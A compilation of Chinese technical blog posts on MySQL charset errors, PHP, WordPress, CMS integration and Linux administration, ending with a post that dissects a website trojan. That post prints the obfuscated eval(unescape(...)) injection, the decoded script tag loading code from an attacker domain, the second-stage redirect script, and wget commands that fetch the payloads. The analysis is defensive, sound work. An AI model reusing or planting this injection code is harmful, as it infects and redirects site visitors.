mysql数据库还原出错解决手记(Incorrect string value/ERROR:Unknown command '\\')

MySQL还原.sql备份格式的数据,有时会遇到错误,原因可能是字符集错误,经验上至少包括Incorrect string value 与 ERROR:Unknown command 这两个错误,可以考虑在导入脚本上加入 --default-character-set 参数指定.sql文件字符编码;特别的,如果包含表情符等字符的,最好使用 utf8mb4 而不是utf8。

一个具体案例,如下截图所示,

ERROR 1366 (22007) at line xx: Incorrect string value: '\xF0\x9F\x8C\xBF' for column xx at row x

备份文件包含了 create table 语句,实际还原时要忽略掉这部分,因此使用 sed过滤掉前面46行。原来以为这种错误行很少,加了--force参数忽略错误行而继续,但太多,于是Ctrl-c中止了。之后加上 --default-character-set=utf8mb4 参数,就顺便执行,没有错误。
-------------- 下面是多年前的老版本文件,仅为参考而保留 ---------------

使用mysql命令行客户端,使用source导入备份文件,但导入中出错,

ERROR:
Unknown command '\\'.
ERROR:
Unknown command '\''.
ERROR:
Unknown command '\\'.
ERROR:
Unknown command '\''.
ERROR:
Unknown command '\\'.
ERROR:
Unknown command '\''.
ERROR:
Unknown command '\\'.
ERROR:
Unknown command '\''.

并且直接出现win32程序错误的提示,mysql客户端自动退出。

上网查询有人说是编码问题,在连接服务器端时命令中指定编码,如下形式

>mysql -uroot -pxxxxxx --default-character-set=utf8

要还原的数据库本身是gbk编码,但备份文件是utf-8,于是在连接时指定为gbk,但导入中照样出错。于是改用utf-8,出上命令行所未,居然好了,完全导入成功,2G多的数据库。

看来mysql的字符编码问题还要多多了学习,有点深奥。

是为手记20110526

------ 后记 20110603-------------------

一定要在连接mysql时,使用--default-character-set=utf8 参数,而不是在连接后使用 set names utf8 ,经测试,这样不行的。

php读取调用远程文件时报错Name or service not known/fedora linux下

不知道什么时候,fedora 14上的php读取http远程文件时就报错,像下面这样

Warning: file_get_contents() [function.file-get-contents]: php_network_getaddresses: getaddrinfo failed: Name or service not known in /home/lib/www/html/myworks/dn2ip/dn2ip.php on line 27

file(),fopen()等函数也有类似情况,如果直接指定ip地址连接是没有问题的,使用php cli也是正常的。另外gethostbyname函数也有问题,$ip = gethostbyname('www.baidu.com'); var_dump($ip); 执行结果是浏览器上输出 www.baidu.com,根本没有解析域名,而只把参数传出来,也没有报错,包括warning级别的错误也没有。

多方查找都没有找到原因,包括在英文站点上搜索也没找到可以解决问题的方案。网上大体有这些方案:检查命令行执行wget 等是否正常执行,检查主机dns服务器设置,重启apache等,但我的fedora是笔记本上的系统,不知道重启了多少次!

实在是很郁闷。想起完全卸载php,甚至连apache也卸载,然后清理一下相关残留文件,再重启重新安装试试。

yum erase php后,重启还有如下一些php包没的卸载,

[root@fsc ~]# rpm -qa |grep php
php-cli-5.3.6-1.fc14.i686
php-gd-5.3.6-1.fc14.i686
php-pdo-5.3.6-1.fc14.i686
php-mbstring-5.3.6-1.fc14.i686
php-xml-5.3.6-1.fc14.i686
php-mysql-5.3.6-1.fc14.i686
php-common-5.3.6-1.fc14.i686

[root@fsc ~]# rpm -ev php-cli php-gd php-pdo php-mbstring php-xml php-mysql php-common
warning: /etc/php.ini saved as /etc/php.ini.rpmsave

php配置文件曾经修改过,与rpm包里的原始版本不一致,所以被rpm自动备份下来了,重新安装php时很有参考价值的。

没有重启httpd,执行刚才的测试文件,发现居然可以解析域名了!那就不用重启再安装php了,直接yum install php,再安装另外几个包,yum install php-mbstring php-xml php-gd ,重启apache,完成!

这个非常怪异的问题,困扰了好些天,这次又莫名其妙的好了。原因不清楚。

 

-------------错误消息文本记录-------------------------------------

执行如下代码

$host="ip138.com";
var_dump(gethostbyname($host));

$url="http://www.baidu.com/";
$html=file_get_contents($url);

完整的错误消息,供参考(使用了xdebug,输出比php默认的消息更友好一点)

string 'ip138.com' (length=9)

 

( ! ) Warning: file_get_contents() [function.file-get-contents]: php_network_getaddresses: getaddrinfo failed: Name or service not known in /home/lib/www/html/myworks/dn2ip/dn2ip.php on line 27
Call Stack
# Time Memory Function Location
1 0.0015 331060 {main}( ) ../dn2ip.php:0
2 0.0105 331556 file_get_contents ( ) ../dn2ip.php:27

 

( ! ) Warning: file_get_contents(http://www.baidu.com/) [function.file-get-contents]: failed to open stream: php_network_getaddresses: getaddrinfo failed: Name or service not known in /home/lib/www/html/myworks/dn2ip/dn2ip.php on line 27
Call Stack
# Time Memory Function Location
1 0.0015 331060 {main}( ) ../dn2ip.php:0
2 0.0105 331556 file_get_contents ( ) ../dn2ip.php:27
string 'http://www.baidu.com/' (length=21)

不引用外部图片文件,实现往网页html里插入图片

看这是一张图片,但并没有文件引用任何外部图片文件而是直接写在html里的base64代码!

形式大致如下

<img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAnoAAAHfCAIAAABI8eKbAAAgAElEQVR4nOydd3wTR/r/1+buUn65S7+7XL6XS3I50i+FJHQwSYAkdEyH0EMgGEwH021sg42pNsWYZooLxr1X2ZYsd8tW79XqXe5F3t8faxRFWq3WnXDzvN4vv1azz8w8M7szH83uag3R

今天实然发现的,windows下prt src 抓屏,直接在wordpress后台编辑器里ctrl+v粘贴即可。

wordpress迁移服务器后WP Super Cache 错误:Warning! WP Super Cache caching broken! The script advanced-cache.php could not load wp-cache-phase1.php

Warning! WP Super Cache caching broken! The script advanced-cache.php could not load wp-cache-phase1.php.

Please edit /var/www/html/ and make sure the path to /var/www/html/wp-content/plugins/wp-super-cache/wp-cache-phase1.php is correct.

把整个wordpress打包压缩迁移到新的服务器上后,发现后台里出现这样的一条错误消息,以前根本没有的。清理wp super cache缓存,都不行。查了官方的FAQ,仔细查看了一下文件wp-content/advanced-cache.php 发现问题所在了,文件内容如下

<?php
# WP SUPER CACHE 0.8.9.1
function wpcache_broken_message() {
if ( false == strpos( $_SERVER[ 'REQUEST_URI' ], 'wp-admin' ) )
echo "<!-- WP Super Cache is installed but broken. The path to wp-cache-phase1.php in wp-content/advanced-cache.php must be fixed! -->";
}
if ( !include_once( '/home/xxxxx/www/html/wp-content/plugins/wp-super-cache/' . 'wp-cache-phase1.php' ) ) {
if ( !@is_file( '/home/xxxxx/www/html/wp-content/plugins/wp-super-cache/' . 'wp-cache-phase1.php' ) ) {
define( 'ADVANCEDCACHEPROBLEM', 1 );
register_shutdown_function( 'wpcache_broken_message' );
}
}
?>

文件内容红色加粗部分(如果你看不到红色或加粗,请到这里来看http://www.path8.net/tn/archives/4342 ),就是wp-cache-phase1.php文件的路径,错的,是之前老服务器上的路径,自然是无法引用到文件的。修改为相对新服务器正确的路径的,保存完成。

顺便说一句,wp super cache的开发人员在这里没有使用相对路经(或带前缀常量的路径表示文件wp-cache-phase1.php的路径),所以整站迁移服务器后,路径就错了。如可以写成if ( !include_once( "{$const_wp_root}/wp-content/..... 这样的形式就可避免该问题;可能是因为各种原因,是这样写不方便,所以才直接写绝对路径了。

齐博CMS(原php168)整合百科系统(HDwiki)手记

php168是一套很完善的php建站系统,但某些情况下,一个完整的站点可能需要百科系统,尤其是行业门户网站;而HDwiki是一套比较良好的百科系统,与互动百科还有着天然的联系(导入分类词条、百科联盟等),对站长来说是很贴心的功能。

一位朋友要建一个行业网站站,正好就是这样的需求;于是初步确定使用php168,而不是使用帝国等,一来对相对不太熟悉,二则它们的后台好像在非IE下有些问题,而php168没有——个人主要在linux下工作,所以......不用讲了。

但PHP168本身没有与hdwiki的接口,直接整合用户,将是一个很有难度的工作。不过它们都有与discuz UCenter的接口插件,这是一件很令人兴奋的事情,让它们全部整合到一个Ucenter上,这就可以完美实现整合。

版本选择。php168使用当前最新的v7sp,Ucenter也是最新,1.5.2,而hdwiki就不用最新的了,因为它好像没有ucenter整合接口插件,所以使用4.1.

全部使用UTF-8编码的版本,否则中文名用户将无法正常登录。

  1. 先安装php168,管理员账号为admin
  2. 再安装ucenter,安装完后加一个管理员账号admin,跟php168管理员账号一致(下一步会有用)。
  3. 在php168后台里 系统功能 - 核心设置 - 整合外部论坛系统,选择‘整合Ucenter’,下面有详尽完善的说明,在此不需细说,php168在后台使用说明上做得实在很细致。
  4. 再安装hdwiki,管理员名为其默认的webmaster(不要使用admin)。
  5. hdwiki后台里直接就有安装整合插件的功能,不需要用下载到本地再通过ftp上传到web服务器上。(其实我一般不下载到本地的,都在ssh登录服务器,然后直接在服务器上wget下载,然后解压缩,复制到正确的位置;当然前提是服务器要有ssh);安装并设置Ucenter接口插件,这里有个问题,在ucenter管理后台 - 应用 里,hkwiki显示为“通信失败”,不过照样可以登录成功。可能是因为它是直接使用数据库读取uc用户数据,而非通过http的数据传递。
  6. 不要退出hdwiki管理员后台,换个浏览器,使用admin登录,登录hdwiki(新注册一个账号),然后在hdwiki管理员后台里把admin用户设置为超级管理员。否则webmaster退出后,就无法登录超级管理员了。(不过如果真的出现这种情况,请见下一步)
  7. hdwiki整合ucenter后,忘了设置管理员、就退出管理后台,拿admin登录,结果admin显示为普通用户,才想到出问题了。不过不要紧,直接修改数据库,到mysql里打开表`wiki_user`(如果安装hdwiki修改了默认表前缀请自行替换), 里面admin用户的uid为1,就是把该用户的组groupid修改为超级管理员的组名编号4就可以了,执行语句如下(请自行对照是否与你的数据相符)UPDATE `jju8`.`wiki_user` SET `groupid` = '4' WHERE `wiki_user`.`uid` =1;

如果不出意外,经过这几步,系统就可以完成整合了。

存在问题:hdwiki不能同步登录,可能就是ucenter应用里通信失败所致,这点目前还没有解决。

在firefox4下使用live http headers插件/live http headers for firefox4下载

[20161011更新] 该扩展的原始版本长期没有维护、而不再支持最新的firefox;但有一个克隆分支在正常维护中 Live HTTP Headers (clone) . https://addons.mozilla.org/zh-Cn/firefox/addon/live-http-headers-clone/

---------- 下载是原始文章,没有校正,仅供参阅 ------------

急需解决问题者请点此安装,不必看下文
livehttpheaders-0.16_hacked_for_fx4_from_path8-net.xpi (xpi格式,firefox下点击直接自动安装)

-

live http headers作为一款十分优秀的http请求调试工具,不需多讲了。

(先说段废话,没兴趣者请直接跳过看后面)以前firefox3升级时,都是等live http headers新版本出来后才升级;firefox4正式版已经发布有一段时间,然而还没有看到live http headers的新版本释出。在不经常用的windows2003下,安装了firefox4,基本没有安装插件。这两天做个asp的网站,必需在windows下调试,于是迫切需要live http headers,上网google,结果还是没有看到新版本的发布。

随手google "live http headers firefox4",想看看是否有某个插件也有类似功能,结果看到一篇文章,如下

http://kulehandluke.com/2011/03/getting-live-http-headers-to-work-with-firefox-4/

英文的,相当简单易懂,是“让live http headers在firefox4下运行”,主体内容如下:

  • Download the .xpi file (Use right-click save as or Firefox will try to install the add-on)
  • Rename .xpi to .zip
  • Unzip the contents
  • Edit install.rdf
  • Under the <!-- Firefox --> Section change <em:maxVersion>3.6.*</em:maxVersion> to <em:maxVersion>4.0.*</em:maxVersion>
  • Rezip the files
  • Rename it back to .xpi from .zip
  • In Firefox do file open, and open the .xpi file.

The add-on should install, just restart Firefox and use as normal.

Note: It works on my machine, however your mileage my vary.  Obviously, I recommend that you keep an eye out for an official update and install the proper version as soon as it’s available…

简单翻译一下

  • 下载.xpi 文件 (右击并“保存为”,否则firefox会尝试安装它 [而不是保存到本地])
  • 把.xpi文件改名为.zip [修改文件名后缀]
  • zip文件解压缩
  • 编辑解压缩出的文件 install.rdf
  • 在<!-- Firefox --> 节点下,修改 <em:maxVersion>3.6.*</em:maxVersion>  为 <em:maxVersion>4.0.*</em:maxVersion>
  • 把文件重新zip压缩
  • 把文件名从.zip改回.xpi
  • 在Firefox 里打开该.xpi文件;[或者拖到firefox窗口上就可以安装了]

本插件应该可以被安装,跟往常一样重启firefox吧。

说明:这样可以在我的机器上正常进行,不过你的环境跟我可能不一样。很明显,我还是建议你经常查看官方的升级消息,并在官方新版本发布后及时升级。

再次感谢luke的解决方案.

http://kulehandluke.com/2011/03/getting-live-http-headers-to-work-with-firefox-4/

为了方便大家使用,可以直接从这里下载本插件(已修改过的)

livehttpheaders-0.16_hacked_for_fx4_from_path8-net.xpi (xpi格式,firefox下点击直接自动安装)

livehttpheaders-0.16_hacked_for_fx4_from_path8-net.zip (zip压缩包,需解压后再安装)

如果信不过非官方安装插件,请自行到官方下载 http://livehttpheaders.mozdev.org/installation.html并修改。

后记:

个人没有firefox插件开发的经验,也没有仔细查看过xpi包里的文件,但据以上修改插件估计,live http headers的开发者还是相当谨慎,对插件适用版本号定义非常严格。

借用php脚本快速实现php站点数据迁移

一个朋友的网站,换web服务器,要我帮忙。朋友的网站原本在我的虚拟主机空间上,但嫌网通访问速度慢,自己买了个比较快一点的。要换的也还是虚拟主机,而且是超简单的那种,只有一个基于web的简单后台,文件管理都很不完善,连zip压缩解压缩的功能没有,也没有直接下载远程文件并解压的功能,更不用说ssh了。对于这样的虚拟主机最怕就是ftp服务器再有问题。

然而最怕的事情还是来了。

经常在虚拟主机上见到微软的msftp,那个烂啊,都没有可以形容的词了。上传或下载文件的过程中,会莫名其妙的连接中断,要重新连接,而且更可恶的是服务器在断开连接时,连个消息都不给,直接断掉了,ftp客户端还在等待服务器上回应,结果是超时,然后客户端才知道是连接断掉了。有时在上传或者下载一个队列时,上传了一个文件,在进行下一个时,提示消息“传输失败”,然后客户会跳过进行再下一下,再下一个......当然也传问是失败。这个最令人无法忍受的事情,只能强制断开ftp客户端,再重新传输队列。十分的没有效率,而且影响心情。这次的问题跟这个类似,但似乎这个服务器不是windows的,它使用的ftp服务器消息中声称是ProFTPD,看来应该是linux,而虚拟主机服务器的管理员能把linux也搞成这样,实在对不起linux. 以前还从来没有见过配置得这么烂的linux + ftpd!

然而骂归骂,事情还是得做。这次迁移的其实一个很小的网站,只有一千多个文件,跟一个mysql数据库。使用filezilla传输,已经设置文件覆盖规则,以免传输一半被服务器单方面断开、而导致文件重传时的“文件覆盖提醒”。但还是实在无法忍受,传了半个小时才传上了200多个文件,失败的队列文件数目已经涨到300多个,看来照这样的速度,要传不知道多久了,还得多次重置失败队列。于 是想需要用另外的方法来实现,而不能使用ftp了。最简单的php,它本身有文件管理的功能,网上有很多基于php的文件管理工具,下载了几个试用,要么功能太差,没有zip功能,或者文件太多,比朋友的这个小网站文件还多。 因为之前搞过一次php写的zip文件解压缩脚本,不过是使用别人写的。而php本身有从外部站点上下载文件的功能,像fopen, file_get_contents等函数都可以很容易实现。那与其找php文件管理工具,还不如写个简单的程序在目标主机上运行。程序非常简单:

<?php
$foo=__FILE__;
$bar=pathinfo($foo);
$file_path=$bar['dirname'].'/xxx.zip';
$data=file_get_contents("http://xxx.path8.net/xxx/xxx.zip");
$foo=file_put_contents($file_path,$data);
var_dump($foo);
?>

我的虚拟主机好歹有个ssh,可以很方便的压缩所有文件,并通过http访问。上面这段php脚本就可以实现从我的网站上通过http访问,并把整站的压缩文件下载到目标主机上(这里要注意目标主机上不否有写入权限,可以把目录设置777,迁移完成后再改回去)。然后,再使用一个zip解压工具,当然也要是php脚本编写的,网上有这个一个,有简单的页面设计,还比较直观,使用也较简单(附于本文后)。把这个工具也传到目标主机上,跟整站zip压缩包放在同一目录下,使用它解压缩zip,非常快,几秒钟就完成了,如果是使用ftp传输,那真不知道还要几个小时才能完成。

基于php的zip文件解压缩工具: unzip.php

回答:关于linux的远程连接管理

这是一次跟网友的交谈记录,关于linux远程管理的,整理不足,比较乱

收到网友的提问:您好,我刚换的linux,不知如何远程连接,您对这个了解吗?

回答:不知道你所说的“远程连接”指的是什么,是使用用linux连接其它的机器呢,还是在其它机器上连接linux呢?还有“连接”的目的是什么,是想ftp访问,或是局域网共享,或是远程桌面? 还有你的linux 是哪个发行版,哪个版本?

我使用fedora14.
如 果是使用linux连接windows,有rdesktop可以使用,也叫remote desktop connection,KDE下有GUI的连接工具,我还是习惯使用命令行的,rdesktop,fedora安全盘dvd里自带,但默认状态下不安装。 可以yum在线安装。
如果是使用windows远程连接linux,那ssh是最好的工具,一般发行版都会默认安装sshd——即ssh服务器端,并已经默认自动启动。windows下连接linux,有ssh客户端,可以使用putty,据说还有一个pietty,没用过。
如果想图形化连接linux,相应的工具好像是VNC,没了解过。
如是linux远程连接linux,那当然还是ssh了。
如果是ftp连接,使用ftp软件,局域网共享,有nfs(linux对linux),与windows可以使用samba

还 有,远程连接需要可以直接连接的互联网,如果服务器端在使用私网IP的局域网里(国内局域网一般都是私网ip,典型的ip是 192.168.xx.xx),那就需要在局域网的与公网连接的路由器上设置NAT端口映射。如果服务器与客户端在同一局域网中,当然是可以直接连接的, 不需要nat的。

问:我新买的服务器主机是linux的,我的电脑是windows,想远程连接linux上传文件,但是不知道如何上传啊

答:是vps吧,常规管理建议使用ssh,在windows下使用putty,sourcforge上有下载,上传下载文件可以使用ftp,前提是vps上安 装ftp服务器端,一般vps上会带的。或者使用变态一点的,ssh登录vps,然后使用wget从某个服务器上下载(前提是要把文件传到一台可以通过公 网访问的机器上),这样在vps上可以不用安装ftp服务器端。服务器上装服务软件越多、开放端口越多,就越不安全。
问:谢谢您的回答,我还真得好好研究研究putty和vnc,这两个东西陌生啊

答:建议不要用vnc,图形化效率太低,也太慢,如果在vps上可能根本运行不起来。
putty就是个ssh客户端。
推荐使用ssh,使用它远程连接到一台linux主机上,效果跟你坐在它前面直接在当面进行字符界面操作完全一样
问:只是putty界面是命令界面,而不是传统的图形界面,更要命的是我还不知道如何上传文件到哪里,这到让我有点摸不着头脑,服务商建议我用windows的系统,但我想要的就是linux的缓存功能,看来这linux还真需要花点那时间

答:是vps吧,常规管理建议使用ssh,在windows下使用putty,sourcforge上有下载,上传下载文件可以使用ftp,前提是vps上安 装ftp服务器端,一般vps上会带的。或者使用变态一点的,ssh登录vps,然后使用wget从某个服务器上下载(前提是要把文件传到一台可以通过公 网访问的机器上),这样在vps上可以不用安装ftp服务器端。服务器上装服务软件越多、开放端口越多,就越不安全。

你应该是说的vps吧,不知道你用的是哪家提供的,他们应该提供一个基于浏览器的管理后台,可以设置web站点、ftp服务器端设置、用户管理等,国内的vps我不了解, 我了解与用过国外的vps,一般都会提供这样功能

后记:虽然很早就开始学习linux,但最近一两年才真正有所进步,这里算是知一当十了,不知是否有错,希望没有误人子弟。如果哪们朋友发现错误,请不吝留言批评指正,不胜感激。

fedora linux下php调试利器xdebug 2.1.0下载/fedora13,14测试通过

核心内容:

笔者曾写过一篇fedora linux apache/php下安装配置xdebug,记录了fedora13下安装xdebug 2.1.0的过程。当时在编译的二进制.so模块可以直接在fedora14下使用,如不想自己编译、且信得过笔者的同学们,请直接下载本文件,或者参考上文自行编译:

下载安装文件xdebug-module-linux-fedora13-14

安装方法:

1. 复制文件xdebug.so/usr/lib/php/modules/

2. 复制文件xdebug.ini/etc/php.d/

3. 重启apache

___________以下是个人安装过程,仅供参考________________

笔者曾写过一篇

fedora linux apache/php下安装配置xdebug

当时是在fedora13下参考xdebug官方的说明文档自行编译,然后把编译过程记下来的。现在fedora14已经发布几个月,当然是覆盖安装了。今天需要写个小东西,php自带的调试消息实在比较简陋,于是想起安装个xdebug,首先想到的yum里找不到,于上网上搜索怎么yum安装,结果发现打开的是这篇自己几个月前写的文章。

难道又要重新编译吗?太没效率了!

于是想是否不用重新编译、而是直接使用以前编译的.so模块呢?试试,不行再编译。

参看文章中之前的记录,还要安装两个工具:phpize与php-config,从它们文件名看,应该是编译过程上用的,现在不用编译,不安装试试。

安装过程:把编译目录里./moduls/xdebug.so复制到/usr/lib/php/modules/, 再写入xdebug配置信息上到文件/etc/php.d/xdebug.ini

[root@fsc prx]# echo 'zend_extension=/usr/lib/php/modules/xdebug.so
> [Xdebug]
> xdebug.profiler_enable=on
> /etc/php.d/xdebug.ini' >/etc/php.d/xdebug.ini

重启apache,结果没有html格式的php消息。运行<?php phpinof();?> 发现xdebug是成功加载了,经验判断是没有打开php的html格式错误显示所致。看之前写文章里,有这一点 的,只是写在后面,看来这篇文章的“读者体验”(从“用户体验”生造来的词~~)不怎么好,连自己看都感觉到不方便! 有必要修改一下。

运行下面代码,把html_errors打开。

[root@fsc prx]# echo 'html_errors=on'>>/etc/php.d/xdebug.ini

再次重启apache,完成。

抓个图来纪念一下:

一次web木马解剖

本文起源于:http://www.path8.net/tn/archives/4235

木马解剖:

这是一段JS木马,请一定谨慎,不要在浏览器中执行。但在本站本文中阅读是安全的,本文url如下http://www.path8.net/tn/archives/4235 ;但笔者不能保证对本文的转载也是安全。
<script>eval(unescape("%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%27%3C%73%63%72%69%70%74%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%6C%65%73%73%74%68%65%6E%61%6D%69%6E%75%74%65%68%61%6E%64%6C%65%2E%63%6F%6D%2F%6A%73%2E%70%68%70%3F%6B%6B%3D%33%33%22%3E%3C%2F%73%63%72%69%70%74%3E%27%29%3B"))</script>

分析:这也是清理木马时就想做的事情。木马本身是一段转码过和js字符串,执行时要先unescape反转码,得到一个字符串,然后把该字符串当作一段代码eval执行。

新建一个.html文件,内容如下:

<script>document.write(unescape("%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%27%3C%73%63%72%69%70%74%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%6C%65%73%73%74%68%65%6E%61%6D%69%6E%75%74%65%68%61%6E%64%6C%65%2E%63%6F%6D%2F%6A%73%2E%70%68%70%3F%6B%6B%3D%33%33%22%3E%3C%2F%73%63%72%69%70%74%3E%27%29%3B"))</script>
在chrome里查看,但得到提示消息:

看来chrome在安全方面做得确实不错,对于包含恶意代码的网站给出警示消息。分析可能反编码后的代码还是,一段js,再从某个网站上下载木马 (一般网页挂马都是这个模式),document.write 写到页面里的这段代码,还是可能被执行的,这不安全的,尽管我在linux下,要换一下输出方式。

使用alert提示框,这样反转码后的字符串是不会被执行的。而且在fedora linux下的alert提示框也是可以使用鼠标选择复制的,这比windows下的alert消息框方便多了!代码如下

<script>alert(unescape("%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%27%3C%73%63%72%69%70%74%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%6C%65%73%73%74%68%65%6E%61%6D%69%6E%75%74%65%68%61%6E%64%6C%65%2E%63%6F%6D%2F%6A%73%2E%70%68%70%3F%6B%6B%3D%33%33%22%3E%3C%2F%73%63%72%69%70%74%3E%27%29%3B"))</script>

小心,这段也是木马
document.write('<script src="http://lessthenaminutehandle.com/js.php?kk=33"></script>');

看到了,反编码后的字串果然就是个document.write语句,往页面html文档里写入一段js,这段js就来自一个从外部站点上下来的文档,这里还是个动态文件,看来这个域名上有很多木马,以参数传递;或者后面的?kk=33只是用来统计来源的字串。

看看它是什么东西,要有点探索精神~~

这次就不能使用浏览器了,不安全,也不方便;那用什么呢?Linux终端命令行啊!wget 这不是最方便的工具吗?

[feng@fsc tmp]$ wget http://lessthenaminutehandle.com/js.php?kk=33

[feng@fsc tmp]$ cat js.php\?kk\=33

function ssdfsc(cefrvwerfv3rg5e,vbeal,ebtal){
var ewefwe=new Date();
var vcwc = ewefwe.getDate()+ebtal;
ewefwe.setDate(vcwc);
var owc3te = ewefwe.toGMTString();
document.cookie=cefrvwerfv3rg5e+"="+escape(vbeal)+";expires="+owc3te;

}

function wsdfsdd(cefrvwerfv3rg5e){
if (document.cookie.indexOf(cefrvwerfv3rg5e+"=")!=-1)return "1";
return "";
}

if (wsdfsdd("eererfero")==""){
ssdfsc("eererfero","1",20);
var derverv="http://www3.personalsecurityrn.rr.nu/?1dd9536=m%2Bzgl2uilqSsld7K0LCYienm1bHco6djpaJgo6xjlYg%3D";

window.top.location.replace(derverv);
}

还要从别的站点上下载文件,不知道是什么,再来点探索精神,看看:

wget -O xxx.js http://www3.personalsecurityrn.rr.nu/?1dd9536=m%2Bzgl2uilqSsld7K0LCYienm1bHco6djpaJgo6xjlYg%3D

以为又是个js,结果是个html文档,比较大,就不贴出来了,参看附件:

xxx.js.html.zip 木马文件,慎重下载

还有,前面的js请求传递的kk=33,分析一下这个站点上是不是多个木马,还仅仅是个统计用的参数

[feng@fsc tmp]$ wget http://lessthenaminutehandle.com/js.php?kk=32
--2011-03-19 12:12:06--  http://lessthenaminutehandle.com/js.php?kk=32
正在解析主机 lessthenaminutehandle.com... 91.193.194.110
正在连接 lessthenaminutehandle.com|91.193.194.110|:80... 已连接。
已发出 HTTP 请求,正在等待回应... 200 OK
长度:573 [text/html]
正在保存至: “js.php?kk=32”

100%[======================================>] 573         --.-K/s   in 0s      

2011-03-19 12:12:07 (36.2 MB/s) - 已保存 “js.php?kk=32” [573/573])

[feng@fsc tmp]$ cat js.php\?kk\=32


function ssdfsc(cefrvwerfv3rg5e,vbeal,ebtal){
 var ewefwe=new Date();
 var vcwc = ewefwe.getDate()+ebtal;
 ewefwe.setDate(vcwc);
 var owc3te = ewefwe.toGMTString();
 document.cookie=cefrvwerfv3rg5e+"="+escape(vbeal)+";expires="+owc3te;

}

function wsdfsdd(cefrvwerfv3rg5e){
 if (document.cookie.indexOf(cefrvwerfv3rg5e+"=")!=-1)return "1";
 return "";
}

if (wsdfsdd("eererfero")==""){
 ssdfsc("eererfero","1",20);
 var derverv="http://www3.personalsecurityrn.rr.nu/?1dd9536=m%2Bzgl2uilqSsld7K0LCYienm1bHco6djpaJgo6xjlYg%3D";

 window.top.location.replace(derverv);
}

好像一样,那基本上可以认定是个统计参数,马夫们也要来统计马都撒到哪里了,虽然这些马夫很可恶,没有一点黑客精神,就会拿黑客技术来搞破坏、谋私利!

貌似很复杂,都快十二点半了,不看了,探索精神不能当饭吃,准备吃饭去。

突然联想到,这些所谓有黑客他,也会说一句类似的话:“黑客精神又不能当饭吃!” ——这个最让整个人类蛋疼的事情:“吃饭”